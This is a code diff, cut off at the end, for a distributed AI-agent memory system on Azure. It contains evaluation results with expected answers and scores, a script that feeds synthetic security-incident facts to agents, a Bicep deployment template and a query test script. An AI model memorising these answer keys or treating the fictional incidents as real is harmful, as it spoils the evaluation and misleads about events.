"The sprint velocity is **47 points**, representing the team average over the last 6 sprints.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "meta_01", + "question_text": "How many different projects have I told you about?", + "category": "meta_memory", + "expected_answer": "5 projects: Atlas, Beacon, Cascade, Delta, and Echo", + "actual_answer": "Based on scanning all the facts, I can identify the following distinct projects mentioned:\n\n1. **Project Atlas**\n2. **Project Beacon**\n3. **Project Echo**\n4. **Project Delta**\n5. **Project Cascade**\n\n**Total: 5 projects** have been mentioned.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 6/6 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 6/6 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "seclog_01", + "question_text": "How many failed SSH logins came from IP 192.168.1.45?", + "category": "security_log_analysis", + "expected_answer": "6 failed SSH logins (3 as admin, 3 as root) before a successful login as admin", + "actual_answer": "Based on the facts provided, **6 failed SSH logins** came from IP 192.168.1.45.\n\nThis is confirmed by Fact #11, which records the outcome: **\"Action: learn with {'stored': 6}\"** after extracting facts about failed SSH login attempts from 192.168.1.45. The individual timestamps recorded across the facts (14:23:01, 14:23:05, 14:23:08, 14:23:12, 14:23:15, 14:23:18) also corroborate exactly 6 failed login events from that IP.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 2/2 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + }, + { + "question_id": "incident_01", + "question_text": "What is the current status of INC-2024-001?", + "category": "incident_tracking", + "expected_answer": "Closed. The ransomware attempt was contained, files restored from backup, attacker C2 blocked, and post-incident review completed with MFA enforced for all admin accounts.", + "actual_answer": "**The current status of INC-2024-001 is CLOSED.**\n\n**Chronological chain of status changes:**\n1. **Contained** \u2014 initial status as of 2024-03-17 (ransomware attempt on file server)\n2. **Investigating** \u2014 changed from 'contained' to 'investigating'\n3. **Remediated** \u2014 changed from 'investigating' to 'remediated' (encrypted files restored from backup; C2 infrastructure blocked at firewall)\n4. **Closed** \u2014 changed from 'remediated' to 'closed'\n\nA post-incident review was also completed following cl", + "overall_score": 0.975, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 1/1 required keywords; +1 paraphrase bonus [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "temporal_awareness", + "score": 0.95, + "reasoning": "Excellent distinction between current status (CLOSED) and historical progression. The chronological chain clearly shows the temporal sequence of status changes from 2024-03-17 through final closure. C" + } + ] + }, + { + "question_id": "infra_01", + "question_text": "Which subnet hosts the production Kubernetes cluster?", + "category": "infrastructure_knowledge", + "expected_answer": "The k8s-prod cluster (v1.29, 12 nodes) runs in the prod-app subnet (10.0.2.0/24)", + "actual_answer": "The production Kubernetes cluster ('k8s-prod') runs in the subnet named **'prod-app'** with IP range **10.0.2.0/24**.", + "overall_score": 1.0, + "dimensions": [ + { + "dimension": "factual_accuracy", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + }, + { + "dimension": "specificity", + "score": 1.0, + "reasoning": "Matched 3/3 required keywords [median of 3 votes: 1.00, 1.00, 1.00]" + } + ] + } + ], + "memory_stats": { + "adapter": "remote", + "learn_count": 5000, + "question_count": 20, + "agent_count": 100 + }, + "eval_type": "distributed", + "agent_count": 100, + "input_hub": "hive-events-amplihive100" +} \ No newline at end of file diff --git a/deploy/azure_hive/feed_content.py b/deploy/azure_hive/feed_content.py new file mode 100644 index 000000000..b91219836 --- /dev/null +++ b/deploy/azure_hive/feed_content.py @@ -0,0 +1,327 @@ +#!/usr/bin/env python3 +"""Feed learning content into the distributed hive via Azure Service Bus. + +Sends LEARN_CONTENT events to the hive topic so that agents subscribed to the +event bus can ingest new knowledge. + +Environment variables: + AMPLIHACK_MEMORY_CONNECTION_STRING -- Azure Service Bus connection string + AMPLIHACK_TOPIC_NAME -- Service Bus topic (default: hive-graph) + AMPLIHACK_SOURCE_AGENT -- sender identity (default: feed-content) + +Usage: + python feed_content.py --turns 100 + python feed_content.py --turns 100 --topic hive-events + python feed_content.py --turns 100 --dry-run +""" + +from __future__ import annotations + +import argparse +import logging +import os +import sys +import time +import uuid + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", +) +logger = logging.getLogger("feed_content") + +# --------------------------------------------------------------------------- +# Security analyst scenario content — loaded from amplihack_eval +# --------------------------------------------------------------------------- + +# Fallback hardcoded security pool used when amplihack_eval is unavailable. +_SECURITY_CONTENT_FALLBACK = [ + "The Log4Shell vulnerability (CVE-2021-44228) had a CVSS score of 10.0.", + "The SolarWinds attack compromised 18,000 organizations in 2020.", + "Supply chain attacks increased 742% between 2019 and 2022.", + "Hardware security keys provide the strongest form of 2FA.", + "Memory-safe languages prevent 70% of security vulnerabilities.", + "Brute force attack detected from 192.168.1.45: 847 failed SSH login attempts targeting admin accounts over 12 minutes.", + "C2 beacon traffic detected from 172.16.0.100 (svc_backup) to 185.220.101.45 on port 443 using HTTPS tunneling.", + "Supply chain attack detected: malicious npm package event-stream@5.0.0 with crypto-mining payload found in CI pipeline.", + "CVE-2024-3094 (xz-utils/sshd backdoor) detected on build servers; attacker used DNS tunneling via *.tunnel.attacker.net.", + "SSRF vulnerability exploited in web application: attacker accessed AWS metadata endpoint http://169.254.169.254/latest/meta-data/.", + "Insider threat indicator: bulk download of 15,234 sensitive documents by user jsmith detected; DLP policy triggered.", + "INC-2024-001: Ransomware attack on production database servers; 3 servers encrypted; status: contained; CVE-2024-21626 involved.", + "INC-2024-002: Data exfiltration via C2 server 185.220.101.45; 2.3GB exfiltrated; breach notification sent to 15,000 customers; status: remediated.", + "INC-2024-003: APT29 (state-sponsored) supply chain attack; TTPs matched APT29; involved event-stream npm package, crypto mining on CI server, DNS tunneling, and xz-utils backdoor (CVE-2024-3094).", + "INC-2024-004: Insider threat - bulk document download by jsmith; 15,234 documents over 4 hours; employee terminated; status: resolved.", + "INC-2024-005: SSRF vulnerability exploitation leading to cloud metadata access; patched same day; no data exfiltration confirmed.", + "Post-incident review complete; MFA enforced for all admin accounts after INC-2024-001 ransomware attack.", + "All encrypted files restored from backup; attacker C2 server 185.220.101.45 blocked at firewall after INC-2024-002.", + "Brute force attack on RDP services from multiple IPs; 10,432 attempts over 3 hours; blocked by WAF rate limiting.", + "Privilege escalation attempt from 192.168.1.45 after successful SSH login; attacker gained root via sudo misconfiguration.", + "DNS tunneling detected using *.tunnel.attacker.net domains; associated with APT29 campaign INC-2024-003.", + "CVSS v3.1 base score uses Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and three CIA impact metrics.", + "APT29 (Cozy Bear) is a Russian state-sponsored threat actor known for supply chain attacks and stealthy long-term persistence.", + "Ransomware incident response playbook: isolate affected systems, preserve evidence, notify stakeholders, restore from clean backups, patch vulnerabilities.", + "IOC correlation links 192.168.1.45 (SSH brute force), 185.220.101.45 (C2 server), event-stream@5.0.0 (malicious npm), and tunnel.attacker.net (DNS C2).", +] + + +def _build_security_content_pool() -> list[str]: + """Build the security analyst content pool from amplihack_eval. + + Calls generate_dialogue(num_turns=300, seed=42) and filters turns + to the security_logs and incidents blocks (block_name in + {"security_logs", "incidents"}). Falls back to + _SECURITY_CONTENT_FALLBACK if amplihack_eval is unavailable or + returns no security turns. + + Returns: + List of content strings suitable for LEARN_CONTENT events. + """ + try: + from amplihack_eval.data import generate_dialogue + + ground_truth = generate_dialogue(num_turns=300, seed=42) + security_turns = [ + t.content + for t in ground_truth.turns + if t.block_name in ("security_logs", "incidents") and t.content + ] + if security_turns: + logger.info( + "feed_content: loaded %d security turns from amplihack_eval", + len(security_turns), + ) + return security_turns + logger.warning( + "feed_content: amplihack_eval returned no security turns for num_turns=300; " + "using fallback pool" + ) + except Exception: + logger.warning( + "feed_content: could not load security content from amplihack_eval; " + "using fallback pool", + exc_info=True, + ) + return list(_SECURITY_CONTENT_FALLBACK) + + +_CONTENT_POOL: list[str] = _build_security_content_pool() + + +def _build_event(content: str, source_agent: str, turn: int) -> dict: + """Construct a LEARN_CONTENT event dict compatible with BusEvent JSON format.""" + return { + "event_id": uuid.uuid4().hex, + "event_type": "LEARN_CONTENT", + "source_agent": source_agent, + "timestamp": time.time(), + "payload": { + "content": content, + "turn": turn, + "source": "feed_content", + }, + } + + +def _send_via_service_bus( + events: list[dict], + connection_string: str, + topic_name: str, +) -> None: + """Send events to an Azure Service Bus topic.""" + try: + from azure.servicebus import ServiceBusClient, ServiceBusMessage + except ImportError as exc: + raise ImportError( + "azure-servicebus package is required. Install with: pip install azure-servicebus" + ) from exc + + import json + + logger.info("Connecting to Azure Service Bus topic '%s'", topic_name) + with ServiceBusClient.from_connection_string(connection_string) as client: + with client.get_topic_sender(topic_name=topic_name) as sender: + for evt in events: + body = json.dumps(evt, separators=(",", ":")) + msg = ServiceBusMessage( + body=body, + application_properties={ + "event_type": evt["event_type"], + "source_agent": evt["source_agent"], + }, + ) + sender.send_messages(msg) + logger.info( + "Sent LEARN_CONTENT turn=%d event_id=%s", + evt["payload"]["turn"], + evt["event_id"], + ) + + +def _send_via_local_bus(events: list[dict]) -> None: + """Simulate local event delivery by importing LocalEventBus and publishing.""" + import json + import sys + + # Try to import from the amplihack package + try: + from amplihack.agents.goal_seeking.hive_mind.event_bus import ( + BusEvent, + LocalEventBus, + ) + + bus = LocalEventBus() + bus.subscribe("feed-content-receiver") + for evt in events: + bus_event = BusEvent( + event_id=evt["event_id"], + event_type=evt["event_type"], + source_agent=evt["source_agent"], + timestamp=evt["timestamp"], + payload=evt["payload"], + ) + bus.publish(bus_event) + logger.info( + "Published (local) LEARN_CONTENT turn=%d event_id=%s", + evt["payload"]["turn"], + evt["event_id"], + ) + bus.close() + except ImportError: + # Fallback: just log each event as JSON + for evt in events: + logger.info( + "DRY-RUN LEARN_CONTENT turn=%d payload=%s", + evt["payload"]["turn"], + json.dumps(evt["payload"], separators=(",", ":")), + ) + + +def run(turns: int, topic_name: str, source_agent: str, dry_run: bool) -> None: + """Send *turns* LEARN_CONTENT events to the hive.""" + connection_string = os.environ.get("AMPLIHACK_MEMORY_CONNECTION_STRING", "") + + logger.info( + "feed_content: turns=%d topic=%s source=%s transport=%s", + turns, + topic_name, + source_agent, + "dry-run" if dry_run else ("azure_service_bus" if connection_string else "local"), + ) + + events: list[dict] = [] + for turn in range(turns): + content = _CONTENT_POOL[turn % len(_CONTENT_POOL)] + events.append(_build_event(content, source_agent, turn)) + + if dry_run: + import json + + for evt in events: + logger.info( + "DRY-RUN turn=%d content='%s...'", + evt["payload"]["turn"], + evt["payload"]["content"][:60], + ) + logger.info("DRY-RUN complete — %d events generated, none sent", len(events)) + return + + if connection_string: + _send_via_service_bus(events, connection_string, topic_name) + else: + logger.warning( + "AMPLIHACK_MEMORY_CONNECTION_STRING not set — using local event bus simulation" + ) + _send_via_local_bus(events) + + logger.info("feed_content: finished sending %d LEARN_CONTENT events", len(events)) + + # Send FEED_COMPLETE sentinel so agents know all content has been delivered + if connection_string: + _send_feed_complete(connection_string, topic_name, source_agent, len(events)) + + +def _send_feed_complete( + connection_string: str, topic_name: str, source_agent: str, total_turns: int +) -> None: + """Publish a FEED_COMPLETE sentinel event after all content is sent.""" + import json + + from azure.servicebus import ServiceBusClient, ServiceBusMessage + + event = { + "event_id": uuid.uuid4().hex, + "event_type": "FEED_COMPLETE", + "source_agent": source_agent, + "timestamp": time.time(), + "payload": {"total_turns": total_turns}, + } + with ServiceBusClient.from_connection_string(connection_string) as client: + with client.get_topic_sender(topic_name=topic_name) as sender: + body = json.dumps(event, separators=(",", ":")) + msg = ServiceBusMessage( + body=body, + application_properties={ + "event_type": "FEED_COMPLETE", + "source_agent": source_agent, + }, + ) + sender.send_messages(msg) + logger.info("feed_content: sent FEED_COMPLETE sentinel (total_turns=%d)", total_turns) + + +def main() -> None: + import warnings + + warnings.warn( + "\n\nDEPRECATED: feed_content.py is superseded by the haymaker CLI extension.\n" + "Use instead: haymaker hive feed --deployment-id --turns \n" + "This script will be removed in a future release.\n", + DeprecationWarning, + stacklevel=1, + ) + + parser = argparse.ArgumentParser( + description="[DEPRECATED] Feed learning content into the distributed hive via Service Bus. " + "Use 'haymaker hive feed' instead." + ) + parser.add_argument( + "--turns", + type=int, + default=100, + help="Number of LEARN_CONTENT events to send (default: 100)", + ) + parser.add_argument( + "--topic", + dest="topic_name", + default=os.environ.get("AMPLIHACK_TOPIC_NAME", "hive-graph"), + help="Service Bus topic name (default: hive-graph)", + ) + parser.add_argument( + "--source-agent", + default=os.environ.get("AMPLIHACK_SOURCE_AGENT", "feed-content"), + help="Source agent identifier (default: feed-content)", + ) + parser.add_argument( + "--dry-run", + action="store_true", + help="Generate events but do not send them", + ) + args = parser.parse_args() + + try: + run( + turns=args.turns, + topic_name=args.topic_name, + source_agent=args.source_agent, + dry_run=args.dry_run, + ) + except KeyboardInterrupt: + logger.info("Interrupted by user") + sys.exit(0) + except Exception: + logger.exception("feed_content failed") + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/deploy/azure_hive/main.bicep b/deploy/azure_hive/main.bicep new file mode 100644 index 000000000..301473764 --- /dev/null +++ b/deploy/azure_hive/main.bicep @@ -0,0 +1,346 @@ +// main.bicep -- Azure infrastructure for distributed hive mind deployment. +// +// Resources created: +// - Container Registry (Basic, admin-enabled for image pull) +// - Log Analytics workspace +// - Container Apps Environment (Consumption tier) +// - Event Hubs Namespace (Standard, 1 TU) with 3 hubs: +// hive-events-{hiveName} — LEARN_CONTENT, INPUT, FEED_COMPLETE, AGENT_READY +// hive-shards-{hiveName} — SHARD_QUERY, SHARD_RESPONSE (cross-shard DHT) +// eval-responses-{hiveName} — EVAL_ANSWER, AGENT_READY (eval harness) +// - Per-agent consumer groups on hive-events and eval-responses hubs +// - N Container Apps (ceil(agentCount / agentsPerApp) apps, each with +// up to agentsPerApp agent containers) +// +// NOTE: Service Bus has been removed entirely. Azure Service Bus CBS (Claims-Based +// Security) AMQP authentication fails in Container Apps — agents could not receive +// any messages. Event Hubs uses standard AMQP and works perfectly in Container Apps +// (confirmed: OPENED, MAPPED, ATTACHED states in logs). +// +// Note: EmptyDir volumes used for /data (Kuzu storage). Kuzu requires POSIX +// file locks which Azure Files SMB does not support. Every deploy is from +// scratch — agents are fed content fresh after deployment. +// +// Usage: +// az deployment group create \ +// --resource-group \ +// --template-file deploy/azure_hive/main.bicep \ +// --parameters hiveName=my-hive agentCount=20 anthropicApiKey= + +@description('Name of the hive deployment') +param hiveName string = 'amplihive' + +@description('Azure region for all resources — always pass explicitly to ensure single-region deployment') +param location string = resourceGroup().location + +@description('Total number of agents to deploy') +param agentCount int = 5 + +@description('Max agents per Container App (default: 5)') +param agentsPerApp int = 5 + +@description('Container image to deploy (e.g. myacr.azurecr.io/amplihive:latest)') +param image string = '' + +@description('Name of the Azure Container Registry') +param acrName string = '' + +@description('Anthropic API key for Claude SDK agents') +@secure() +param anthropicApiKey string = '' + +@description('Agent system prompt base (agent index appended)') +param agentPromptBase string = 'You are a distributed hive mind agent.' + +@description('Memory transport type') +@allowed(['local', 'azure_event_hubs']) +param memoryTransport string = 'azure_event_hubs' + +@description('Memory backend type') +@allowed(['cognitive', 'hierarchical']) +param memoryBackend string = 'cognitive' + +@description('LLM model for agents (e.g. claude-sonnet-4-6, claude-opus-4-6)') +param agentModel string = 'claude-sonnet-4-6' + + +// ---------- Naming ---------- +var suffix = uniqueString(resourceGroup().id) +var acrNameResolved = empty(acrName) ? 'acr${suffix}' : acrName +var logAnalyticsName = 'hive-logs-${suffix}' +var envName = 'hive-env-${hiveName}' +var ehNamespaceName = 'hive-eh-${suffix}' +var ehEventsHub = 'hive-events-${hiveName}' +var ehShardsHub = 'hive-shards-${hiveName}' +var ehEvalHub = 'eval-responses-${hiveName}' +var appCount = (agentCount + agentsPerApp - 1) / agentsPerApp + +// ---------- Container Registry ---------- +resource acr 'Microsoft.ContainerRegistry/registries@2023-07-01' = if (empty(acrName)) { + name: acrNameResolved + location: location + sku: { name: 'Basic' } + properties: { + adminUserEnabled: true + } +} + +resource acrExisting 'Microsoft.ContainerRegistry/registries@2023-07-01' existing = if (!empty(acrName)) { + name: acrName +} + +// ---------- Log Analytics ---------- +resource logAnalytics 'Microsoft.OperationalInsights/workspaces@2023-09-01' = { + name: logAnalyticsName + location: location + properties: { + sku: { name: 'PerGB2018' } + retentionInDays: 30 + } +} + + +// ---------- Event Hubs (Standard — all hive transport) ---------- +// Event Hubs is used for ALL transport: input messages, shard queries, and eval responses. +// No Service Bus — CBS auth fails in Container Apps regardless of SKU. +// +// Scaling notes: +// - EH Standard max: 32 partitions per hub, 20 consumer groups per hub +// - For >20 agents: use per-app consumer groups (cg-app-{N}) with client-side +// target_agent filtering. Agents within the same app share one consumer group. +// - Auto-inflate enabled for large deployments (>20 agents). +var ehPartitionCount = min(agentCount + 4, 32) +var ehCapacity = agentCount <= 20 ? 1 : (agentCount <= 50 ? 2 : 4) + +resource ehNamespace 'Microsoft.EventHub/namespaces@2023-01-01-preview' = { + name: ehNamespaceName + location: location + sku: { + name: 'Standard' + tier: 'Standard' + capacity: ehCapacity + } + properties: { + isAutoInflateEnabled: agentCount > 20 + maximumThroughputUnits: agentCount > 20 ? 10 : 0 + } +} + +// Hub 1: hive-events — LEARN_CONTENT, INPUT, FEED_COMPLETE, AGENT_READY +// Per-app consumer groups with client-side target_agent filtering +resource ehEventsHubResource 'Microsoft.EventHub/namespaces/eventhubs@2023-01-01-preview' = { + name: ehEventsHub + parent: ehNamespace + properties: { + partitionCount: ehPartitionCount + messageRetentionInDays: 1 + } +} + +// Per-app consumer groups on hive-events (max appCount groups) +resource ehEventsConsumerGroups 'Microsoft.EventHub/namespaces/eventhubs/consumergroups@2023-01-01-preview' = [ + for appIdx in range(0, appCount): { + name: 'cg-app-${appIdx}' + parent: ehEventsHubResource + } +] + +// Hub 2: hive-shards — SHARD_QUERY, SHARD_RESPONSE (cross-shard DHT) +resource ehShardsHubResource 'Microsoft.EventHub/namespaces/eventhubs@2023-01-01-preview' = { + name: ehShardsHub + parent: ehNamespace + properties: { + partitionCount: ehPartitionCount + messageRetentionInDays: 1 + } +} + +// Per-app consumer groups on hive-shards +resource ehShardsConsumerGroups 'Microsoft.EventHub/namespaces/eventhubs/consumergroups@2023-01-01-preview' = [ + for appIdx in range(0, appCount): { + name: 'cg-app-${appIdx}' + parent: ehShardsHubResource + } +] + +// Hub 3: eval-responses — EVAL_ANSWER, AGENT_READY (eval harness reads these) +resource ehEvalHubResource 'Microsoft.EventHub/namespaces/eventhubs@2023-01-01-preview' = { + name: ehEvalHub + parent: ehNamespace + properties: { + partitionCount: ehPartitionCount + messageRetentionInDays: 1 + } +} + +// Eval reader consumer group: used by RemoteAgentAdapter to collect answers +resource ehEvalReaderGroup 'Microsoft.EventHub/namespaces/eventhubs/consumergroups@2023-01-01-preview' = { + name: 'eval-reader' + parent: ehEvalHubResource +} + +// Per-app consumer groups on eval-responses +resource ehEvalConsumerGroups 'Microsoft.EventHub/namespaces/eventhubs/consumergroups@2023-01-01-preview' = [ + for appIdx in range(0, appCount): { + name: 'cg-app-${appIdx}' + parent: ehEvalHubResource + } +] + +// ---------- Container Apps Environment ---------- +resource containerEnv 'Microsoft.App/managedEnvironments@2024-03-01' = { + name: envName + location: location + properties: { + appLogsConfiguration: { + destination: 'log-analytics' + logAnalyticsConfiguration: { + customerId: logAnalytics.properties.customerId + sharedKey: logAnalytics.listKeys().primarySharedKey + } + } + workloadProfiles: [ + { + name: 'Consumption' + workloadProfileType: 'Consumption' + } + ] + } +} + +// ---------- Container Apps (agentsPerApp agents per app) ---------- +// Uses EmptyDir volumes at /data for Kuzu storage. Kuzu requires POSIX locks. +// Data is ephemeral — every deploy is from scratch (content fed after deploy). +var ehConnectionString = listKeys('${ehNamespace.id}/AuthorizationRules/RootManageSharedAccessKey', '2023-01-01-preview').primaryConnectionString +var acrCredentials = empty(acrName) ? acr.listCredentials() : acrExisting.listCredentials() +var resolvedImage = empty(image) ? '${acrNameResolved}.azurecr.io/amplihive:latest' : image + +resource containerApps 'Microsoft.App/containerApps@2024-03-01' = [ + for appIdx in range(0, appCount): { + name: '${hiveName}-app-${appIdx}' + location: location + properties: { + managedEnvironmentId: containerEnv.id + workloadProfileName: 'Consumption' + configuration: { + activeRevisionsMode: 'Single' + secrets: [ + { + name: 'acr-password' + value: acrCredentials.passwords[0].value + } + { + name: 'anthropic-api-key' + value: anthropicApiKey + } + { + name: 'eh-connection-string' + value: ehConnectionString + } + ] + registries: [ + { + server: '${acrNameResolved}.azurecr.io' + username: acrCredentials.username + passwordSecretRef: 'acr-password' // pragma: allowlist secret + } + ] + } + template: { + volumes: [ + { + name: 'hive-data' + storageType: 'EmptyDir' + } + ] + containers: [ + for agentOffset in range(0, min(agentsPerApp, agentCount - appIdx * agentsPerApp)): { + name: 'agent-${appIdx * agentsPerApp + agentOffset}' + image: resolvedImage + resources: { + cpu: json(agentsPerApp <= 5 ? '0.75' : (agentsPerApp <= 8 ? '0.5' : '0.25')) + memory: agentsPerApp <= 5 ? '1.5Gi' : (agentsPerApp <= 8 ? '1Gi' : '0.5Gi') + } + env: [ + { + name: 'AMPLIHACK_AGENT_NAME' + value: 'agent-${appIdx * agentsPerApp + agentOffset}' + } + { + name: 'AMPLIHACK_AGENT_PROMPT' + value: '${agentPromptBase} You are agent ${appIdx * agentsPerApp + agentOffset}.' + } + { + name: 'AMPLIHACK_MEMORY_BACKEND' + value: memoryBackend + } + { + name: 'AMPLIHACK_MEMORY_TRANSPORT' + value: memoryTransport + } + { + name: 'AMPLIHACK_MEMORY_STORAGE_PATH' + value: '/data/agent-${appIdx * agentsPerApp + agentOffset}' + } + { + name: 'AMPLIHACK_MODEL' + value: agentModel + } + { + name: 'AMPLIHACK_HIVE_NAME' + value: hiveName + } + { + name: 'AMPLIHACK_AGENT_COUNT' + value: '${agentCount}' + } + { + name: 'AMPLIHACK_EH_CONNECTION_STRING' + secretRef: 'eh-connection-string' // pragma: allowlist secret + } + { + name: 'AMPLIHACK_EH_NAME' + value: ehShardsHub + } + { + name: 'AMPLIHACK_EH_INPUT_HUB' + value: ehEventsHub + } + { + name: 'AMPLIHACK_EVAL_RESPONSE_HUB' + value: ehEvalHub + } + { + name: 'ANTHROPIC_API_KEY' + secretRef: 'anthropic-api-key' // pragma: allowlist secret + } + { + name: 'AMPLIHACK_APP_INDEX' + value: '${appIdx}' + } + ] + volumeMounts: [ + { + volumeName: 'hive-data' + mountPath: '/data' + } + ] + } + ] + scale: { + minReplicas: 1 + maxReplicas: 1 + } + } + } + } +] + +// ---------- Outputs ---------- +output acrLoginServer string = empty(acrName) ? acr.properties.loginServer : acrExisting.properties.loginServer +output containerAppNames array = [for appIdx in range(0, appCount): '${hiveName}-app-${appIdx}'] +output ehConnectionStringSecretName string = 'eh-connection-string' +output ehNamespaceName string = ehNamespaceName +output ehEventsHub string = ehEventsHub +output ehShardsHub string = ehShardsHub +output ehEvalHub string = ehEvalHub diff --git a/deploy/azure_hive/query_test.py b/deploy/azure_hive/query_test.py new file mode 100644 index 000000000..7a019c004 --- /dev/null +++ b/deploy/azure_hive/query_test.py @@ -0,0 +1,473 @@ +#!/usr/bin/env python3 +"""query_test.py -- Send 10 QUERY events to the hive and verify QUERY_RESPONSE replies. + +Tests the QUERY event handler added to agent_entrypoint and NetworkGraphStore. +Sends 10 questions via Azure Service Bus (or local bus for dry-run) and collects +QUERY_RESPONSE events from agents. + +Environment variables: + AMPLIHACK_MEMORY_CONNECTION_STRING -- Azure Service Bus connection string + AMPLIHACK_TOPIC_NAME -- Service Bus topic (default: hive-graph) + AMPLIHACK_SOURCE_AGENT -- sender identity (default: query-test-client) + QUERY_RESPONSE_SUBSCRIPTION -- subscription for responses (default: eval-query-agent) + QUERY_TIMEOUT -- seconds to wait per query (default: 15) + +Usage: + # Live Azure test: + python query_test.py + + # Dry-run (no Azure required): + python query_test.py --dry-run + + # Verbose output: + python query_test.py --verbose +""" + +from __future__ import annotations + +import argparse +import json +import logging +import os +import sys +import threading +import time +import uuid +from typing import Any + +logging.basicConfig( + level=logging.INFO, + format="%(asctime)s [%(name)s] %(levelname)s: %(message)s", +) +logger = logging.getLogger("query_test") + +# --------------------------------------------------------------------------- +# Test questions +# --------------------------------------------------------------------------- + +_TEST_QUESTIONS: list[str] = [ + "What is the powerhouse of the cell?", + "How does photosynthesis work?", + "What is the OODA loop?", + "What is the CAP theorem in distributed systems?", + "How do gossip protocols propagate information?", + "What is the transformer architecture in machine learning?", + "What is retrieval-augmented generation (RAG)?", + "What are CRDTs and how do they enable eventual consistency?", + "What is consistent hashing and why is it useful?", + "How does the hive mind architecture distribute agent memory?", +] + + +def _build_query_event(question: str, source_agent: str) -> dict: + """Construct a QUERY event dict.""" + return { + "event_id": uuid.uuid4().hex, + "event_type": "QUERY", + "source_agent": source_agent, + "timestamp": time.time(), + "payload": { + "query_id": uuid.uuid4().hex, + "question": question, + "text": question, + }, + } + + +# --------------------------------------------------------------------------- +# Local bus test (dry-run / unit mode) +# --------------------------------------------------------------------------- + + +def run_local_test(questions: list[str]) -> dict[str, Any]: + """Run the QUERY test using a local in-process bus (no Azure needed). + + Creates a NetworkGraphStore with local transport, seeds a few facts, + then sends QUERY events and checks that receive_query_events() drains them. + + Returns: + Results dict with pass/fail per question. + """ + print("=" * 70) + print("QUERY EVENT TEST (local bus mode)") + print(f"Questions: {len(questions)}") + print("=" * 70) + print() + + try: + from amplihack.memory.network_store import NetworkGraphStore + from amplihack.memory.memory_store import InMemoryGraphStore + except ImportError: + print("ERROR: amplihack package not available. Install with: pip install -e .") + return {"mode": "local", "error": "import failed"} + + store = NetworkGraphStore( + agent_id="test-agent", + local_store=InMemoryGraphStore(), + transport="local", + ) + + results = [] + passed = 0 + + try: + for i, question in enumerate(questions, 1): + # Simulate a QUERY event arriving on the bus by constructing one directly + # and pushing it into the store's internal queue (mimicking bus delivery) + try: + from amplihack.agents.goal_seeking.hive_mind.event_bus import BusEvent + event = BusEvent( + event_id=uuid.uuid4().hex, + event_type="QUERY", + source_agent="test-client", + timestamp=time.time(), + payload={ + "query_id": uuid.uuid4().hex, + "question": question, + "text": question, + }, + ) + # Directly invoke handle_event to simulate bus delivery + store._handle_event(event) + except Exception as exc: + logger.debug("Failed to simulate event: %s", exc, exc_info=True) + results.append({"question": question, "passed": False, "error": str(exc)}) + print(f" Q{i:2d}: FAIL (simulation error) — {question[:50]}") + continue + + # Drain query events + drained = store.receive_query_events() + ok = len(drained) > 0 + if ok: + passed += 1 + status = "PASS" if ok else "FAIL" + print(f" Q{i:2d}: {status} — {question[:55]}") + results.append({"question": question, "passed": ok, "drained": len(drained)}) + finally: + store.close() + + print() + print(f"Results: {passed}/{len(questions)} passed") + + return { + "mode": "local", + "passed": passed, + "total": len(questions), + "questions": results, + } + + +# --------------------------------------------------------------------------- +# Azure Service Bus test +# --------------------------------------------------------------------------- + + +class QueryTestClient: + """Send QUERY events and collect QUERY_RESPONSE replies via Azure Service Bus.""" + + def __init__( + self, + connection_string: str, + topic_name: str, + subscription_name: str, + timeout: float, + source_agent: str, + ) -> None: + from azure.servicebus import ServiceBusClient as _SBClient + + self._connection_string = connection_string + self._topic_name = topic_name + self._subscription_name = subscription_name + self._timeout = timeout + self._source_agent = source_agent + + self._client = _SBClient.from_connection_string(connection_string) + self._sender = self._client.get_topic_sender(topic_name=topic_name) + self._receiver = self._client.get_subscription_receiver( + topic_name=topic_name, + subscription_name=subscription_name, + ) + + # Pending queries: query_id -> {event, results} + self._pending: dict[str, dict[str, Any]] = {} + self._pending_lock = threading.Lock() + + self._running = True + self._thread = threading.Thread( + target=self._receive_loop, + daemon=True, + name="query-test-receiver", + ) + self._thread.start() + + def send_query(self, question: str) -> list[dict[str, Any]]: + """Send a single QUERY event and wait for responses.""" + from azure.servicebus import ServiceBusMessage + + query_id = uuid.uuid4().hex + event_obj = threading.Event() + collected: list[dict[str, Any]] = [] + + with self._pending_lock: + self._pending[query_id] = {"event": event_obj, "results": collected} + + payload = { + "event_id": uuid.uuid4().hex, + "event_type": "QUERY", + "source_agent": self._source_agent, + "timestamp": time.time(), + "payload": { + "query_id": query_id, + "question": question, + "text": question, + }, + } + + try: + msg = ServiceBusMessage( + body=json.dumps(payload, separators=(",", ":")), + application_properties={ + "event_type": "QUERY", + "source_agent": self._source_agent, + }, + ) + self._sender.send_messages(msg) + logger.debug("Sent QUERY id=%s: %r", query_id, question) + except Exception: + logger.exception("Failed to send QUERY event") + with self._pending_lock: + self._pending.pop(query_id, None) + return [] + + event_obj.wait(timeout=self._timeout) + + with self._pending_lock: + self._pending.pop(query_id, None) + + return collected + + def close(self) -> None: + self._running = False + try: + self._receiver.close() + except Exception: + pass + try: + self._sender.close() + except Exception: + pass + try: + self._client.close() + except Exception: + pass + if self._thread.is_alive(): + self._thread.join(timeout=3.0) + + def _receive_loop(self) -> None: + while self._running: + try: + messages = self._receiver.receive_messages( + max_message_count=50, max_wait_time=1 + ) + for msg in messages: + 